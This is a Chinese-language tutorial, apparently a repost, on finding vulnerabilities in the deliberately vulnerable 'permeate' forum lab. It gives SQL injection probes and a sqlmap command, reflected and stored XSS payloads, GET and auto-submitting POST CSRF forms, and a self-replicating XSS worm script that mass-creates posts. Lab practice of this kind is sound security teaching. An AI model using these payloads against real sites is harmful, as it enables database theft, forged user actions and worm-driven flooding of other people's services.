WEB安全Permeate漏洞靶场挖掘实践

简介: 最近在逛码云时候发现permeat靶场系统,感觉界面和业务场景设计的还不错.所以过来分享一下.

简介


最近在逛码云时候发现permeat靶场系统,感觉界面和业务场景设计的还不错.所以过来分享一下.


同时也是分享一下我平时挖掘漏洞的一些思路吧,这篇文章里虽然只简单介绍其中三种漏洞类型,但也是想是一个抛转引玉吧,给web安全新手提供一些挖掘思路.


下载地址:


GitHub地址: https://github.com/78778443/permeate


国内地址: https://gitee.com/songboy/permeate


这篇文章里主要介绍其中的,SQL注入挖掘,xss跨站挖掘,以及csrf漏洞把


在挖掘一网站的漏洞时候,我们脑海里要知道什么漏洞在什么场景下容易出现,那些漏洞出现的比较频繁,我脑海里的web安全漏洞有三种类型吧:


  1. 编码型漏洞
  2. 业务逻辑漏洞
  3. 运行环境漏洞


笔者之前给别人做代码审计有一个习惯,通常希望给的源码能够正常运行,还不是光从代码来分析问题.


为什么这么做呢,因为觉得如果代码不能运行其实很多漏洞是无法光从代码层面发现问题的.


而代码能运行起来,其实不仅能验证问题,也可以从系统的业务功能来找出更多问题.


比如说很多网站提供站内搜索功能,在搜索的时候通常会把用户搜索的关键词返回在页面当中,比如"你搜搜的关键词'关键词'结果如下",那在这里就很有可能存在反射型XSS漏洞.

另外很多网站都存在用户体系,而在修改个人资料的时候很有可能存在越权问题,比如修改的个人资料的时候查看是否又提交uid参数,如果有,修改uid值,看是不是把别人的资料给修改了,这些其实都需要运行之后才能发现问题所在.


笔者在windows系统中是由wampser搭建还比较简单,这里先简单介绍安装方法:


  1. 用git把代码拉下来
  2. 配置单独的虚拟主机目录(不要放到二级目录,貌似有问题)
  3. 新建了一个数据库
  4. 导入sql文件,文件位置 /doc/bbs_cate.sql
  5. 修改一下/config/dbconfig.php文件中的数据库账号密码信息


通过上面的安装步骤之后,应该可以看到如下面的界面了.有一个默认板块和一个默认分区,就说明连接数据库成功了.


1.png


现在我们开始去挖掘里面的漏洞,在项目介绍中看到有SQL注入和XSS以及CSRF问题,但是没有告知存在漏洞的位置,所以我们需要先分析每个漏洞的对应场景.


先来说说SQL注入挖掘吧.


一. SQL注入挖掘


懂点SQL注入知识应该都可以想到sql注入是因为攻击者可以控制sql语句中的参数所造成的,那么我们就先找一个需要传参的地址,在刚才的首页中可以看到有一个默认板块,那么就点击默认板块好了,点击之后上面的URL地址变成了


http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5


在URL中可以看到,有三个参数,但根据经验来说,前面两个参数m和a有点像是路由,所以这两个先暂时用排除法排除,最后一个参数bk是一个数字,感觉应该是板块的ID,所以可以重点关注一下,我们先记住未测试之前的页面是什么样子


2.png


现在先用手动测试快速测试一下,怎么测试呢? 可以在bk=5后面加一个单引号,或者加一个%27,得到URL地址如下


http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5'


这个时候看一下页面的运行效果如何,发现帖子列表中帖子已经不存在了.


3.png


这个时候我们可以初步的得出结论,这个地方可能存在SQL注入问题,但是还不能肯定,要肯定这个地方是否存在注入问题,我们这样深入去验证一下,可以使用参数值 5' or '1'='1 来进行验证,得到URL地址如下


http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5' or '1'='1


访问之后,发现页面又发生了一次变化,这个时候我们就可以肯定这个地方存在了SQL注入问题,如下图


4.png


我们可以使用sqlmap来看看数据库存在哪些数据库信息,sqlmap命令如下:


sqlmap -u "http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5"  --dbs


5.png


通过sqlmap的反馈结果可以看出,这个地方确实存在了注入问题.


下面我们接着找一下XSS漏洞漏洞


二. XSS跨站


造成xss的主要成因我们知道是参数会被在页面输出,所以在找XSS漏洞的时候,我们先看看站点有什么功能;


在首页的图片和帖子列表页中可以大致看出有搜索功能,和发帖,回复帖子等功能,这些地方都会把接收的参数作为内容展示出来,所以我们可以挨个去测试.


先来一个最简单的搜索页吧,在导航栏有一个搜索框,我首先在搜索框中输入test吧,得到URL地址如下


http://permeate.localhost/home/search.php?keywords=test


从URL地址可以看出搜索的关键词会通过keywords来传递,传递之后也会显示在页面内容当中,如下图


6.png


现在分析显示html元素,在关键词test的父级节点,可以看到是div,div中写入script标签是会被执行的,所以可以直接使用下面的payload


http://permeate.localhost/home/search.php?keywords=test<script>alert(123)</script>


进行测试,通过浏览器访问此连接,可以看到已经弹出123确认框


7.png


不过xss不仅限于script标签可以被执行,也可以用img标签的onerror属性来执行,可以构造如下的payload


http://permeate.localhost/home/search.php?keywords=test<img src=x onerror=alert(456)>


依然访问URL地址,可以看到456的确认框被弹出来了


8.png


上面的XSS都属于反射型的,存储型的项目也表明存在,这里我们先略过吧,先看看CSRF的漏洞好了.


三. CSRF


CSRF漏洞主要成因是因为服务端接收表单请求时候没有验证是用户发送的请求还是浏览器发送的请求,所以在挖掘此类表单的时候先去找表单的位置,在前面的截图当中,可以看到有一个发帖的按钮,可以进去点进去看看,点击发帖,URL地址为


http://permeate.localhost/home/fatie.php?bk=5


在这个页面中可以看到有一个发帖的表单,我们主要看一下表单有没有token令牌,如果没有的话,那就可能存在CSRF的漏洞问题,通过浏览器的审查元素截图如下


9.png


在页面中确实没有存在token信息,因此我们可以初步得出结论,这个地方存在CSRF的可能,现在需要验证一下,


在验证的时候我们需要制定CSRF有GET型和POST型,get型利用起来相对简单很多,而在这个地方表单提交虽然是通过POST,但并不排除GET提交也可以利用,所以我们先尝试用GET型来提交数据,先通过抓包浏览器的网络分析模块来看,发帖会发送哪一些数据,如下图


10.png


在图中可以看到,post会传递三个参数过去,bk和title以及content三个参数,我们先用get表单构造出一个payload出来,得到URL地址如下:


http://permeate.localhost/home/_fatie.php?bk=5&zt=0&title=111&content=222


然后去浏览器打开这个地址,看看是否能提交表单成功,访问后发现弹出了一个确认框,告诉我已经发帖成功了,如下图


11.png


去列表确认一下,发现确实已经发帖成功,如下图帖子列表


12.png


这个CSRF相对来说比较低级,很多情况下用get并不能提到post提交,因此我们再来尝试用post方法构造一个payload出来,代码如下


<html>
<head>test</head>
<body>
    <form action="http://permeate.localhost/home/_fatie.php?bk=5&zt=0" id="test" method="POST">
        <input type="hidden" value="11111" name="title"><br>
        <input type="hidden" value="22222" name="content">
    </form>
</body>
<script>
    var f=document.getElementById("test");
    f.getElementsByTagName("input")[0].value="title";
    f.getElementsByTagName("input")[1].value="content";
    f.submit();
</script>
</html>


在上面代码中可以看出,表单里面的值已经事先做好了定义,当受害者打开之后,变回自动提交表单.


前面提到了这个系统中存在存储型XSS,又存在CSRF漏洞,那么我们是不是可以用来做一个XSS蠕虫试验呢?


四. 蠕虫XSS


满足蠕虫XSS需要两个必要条件,存储型XSS,和CSRF漏洞,这两个这个系统都有,所以实现起来没有问题,需要的是先找一下存储型XSS


在前面发帖的位置会把参数存储起来,并展示,因此这个地方是一个比较好的试验点,我们在发帖位置先来试验一下吧. 如下图,表单中提交了xss验证代码,当成功触发的时候会被弹框123,如下图


13.png


点击发布帖子按钮,发布帖子成功,下来来到帖子列表页面,发现alert(123)已经被触发成功了,如下图


14.png


现在CSRF有了,存储型XSS也有了,那么接下来就是需要把它们结合起来使用了,但蠕虫XSS利用代码相对alert(123)来说代码会比较长,所以我们需要先把利用代码放到一个文件当中,然后再通过script引入进去,我们构造的代码如下


var strrand = +new Date();
var str = 'http://premeate.localhost/home/_fatie.php?bk=5&zt=0&title=1111<script src%3D/a.js%3F'+strrand+'></script>&content=222';
var tag = document.createElement('img');
tag.src = str;
document.body.append(tag.src);


在上面的代码中,只要一被执行,页面将会被插入一个img标签,其中标签的src属性又会去请求表单,表单里面的内容又是一段xss代码,这样变回造成XSS蠕虫攻击者,每次请求都会是倍数增长.如下图,浏览器刷新3次之后,已经有很多帖子了.


15.png


目录
相关文章
|
2天前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
25 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
1月前
|
Kubernetes Java 持续交付
小团队 CI/CD 实践:无需运维,Java Web应用的自动化部署
本文介绍如何使用GitHub Actions和阿里云Kubernetes(ACK)实现Java Web应用的自动化部署。通过CI/CD流程,开发人员无需手动处理复杂的运维任务,从而提高效率并减少错误。文中详细讲解了Docker与Kubernetes的概念,并演示了从创建Kubernetes集群、配置容器镜像服务到设置GitHub仓库Secrets及编写GitHub Actions工作流的具体步骤。最终实现了代码提交后自动构建、推送镜像并部署到Kubernetes集群的功能。整个过程不仅简化了部署流程,还确保了应用在不同环境中的稳定运行。
75 9
|
1月前
|
SQL 存储 XML
常见Web漏洞分析与防范研究
在以上内容中,结合OWASP、Toptal和Brightsec等权威来源的信息,确保回答的专业性和准确性。通过图表和思维导图的方式,可以更系统地了解和记忆Web安全知识,帮助企业在实际应用中更好地防范各种安全威胁。
60 13
|
2月前
|
缓存 安全 搜索推荐
阿里云先知安全沙龙(北京站) ——浅谈Web快速打点
信息收集是网络安全中的重要环节,常用工具如Hunter、Fofa和扫描工具可帮助全面了解目标系统的网络结构与潜在漏洞。遇到默认Nginx或Tomcat 404页面时,可通过扫路径、域名模糊测试、搜索引擎缓存等手段获取更多信息。AllIN工具(GitHub: P1-Team/AllIN)能高效扫描网站路径,发现敏感信息。漏洞利用则需充分准备,以应对突发情况,确保快速拿下目标站点。 简介:信息收集与漏洞利用是网络安全的两大关键步骤。通过多种工具和技术手段,安全人员可以全面了解目标系统,发现潜在漏洞,并制定有效的防御和攻击策略。
|
2月前
|
弹性计算 Java 关系型数据库
Web应用上云经典架构实践教学
Web应用上云经典架构实践教学
Web应用上云经典架构实践教学
|
2月前
|
安全 应用服务中间件 网络安全
实战经验分享:利用免费SSL证书构建安全可靠的Web应用
本文分享了利用免费SSL证书构建安全Web应用的实战经验,涵盖选择合适的证书颁发机构、申请与获取证书、配置Web服务器、优化安全性及实际案例。帮助开发者提升应用安全性,增强用户信任。
|
3月前
|
前端开发 JavaScript 开发工具
从框架到现代Web开发实践
从框架到现代Web开发实践
70 1
|
3月前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
113 1
|
3月前
|
前端开发 开发者 UED
移动优先:响应式设计在现代Web开发中的实践策略
【10月更文挑战第29天】在现代Web开发中,响应式设计已成为不可或缺的实践策略,使网站能适应各种设备和屏幕尺寸。本文介绍了移动优先的设计理念,对比了移动优先与桌面优先的策略,探讨了流式布局与固定布局的区别,详细讲解了CSS媒体查询的使用方法,并强调了触摸和手势支持及性能优化的重要性。
59 1
|
3月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
118 2

热门文章

最新文章

  • 1
    Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
    25
  • 2
    AppSpider Pro 7.5.015 for Windows - Web 应用程序安全测试
    19
  • 3
    【02】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-2月12日优雅草简化Centos stream8安装zabbix7教程-本搭建教程非docker搭建教程-优雅草solution
    54
  • 4
    部署使用 CHAT-NEXT-WEB 基于 Deepseek
    329
  • 5
    【2025优雅草开源计划进行中01】-针对web前端开发初学者使用-优雅草科技官网-纯静态页面html+css+JavaScript可直接下载使用-开源-首页为优雅草吴银满工程师原创-优雅草卓伊凡发布
    26
  • 6
    java spring 项目若依框架启动失败,启动不了服务提示端口8080占用escription: Web server failed to start. Port 8080 was already in use. Action: Identify and stop the process that’s listening on port 8080 or configure this application to listen on another port-优雅草卓伊凡解决方案
    40
  • 7
    零基础构建开源项目OpenIM桌面应用和pc web- Electron篇
    28
  • 8
    【01】客户端服务端C语言-go语言-web端PHP语言整合内容发布-优雅草网络设备监控系统-硬件设备实时监控系统运营版发布-本产品基于企业级开源项目Zabbix深度二开-分步骤实现预计10篇合集-自营版
    20
  • 9
    FastAPI与Selenium:打造高效的Web数据抓取服务 —— 采集Pixabay中的图片及相关信息
    53
  • 10
    springSecurity学习之springSecurity过滤web请求
    60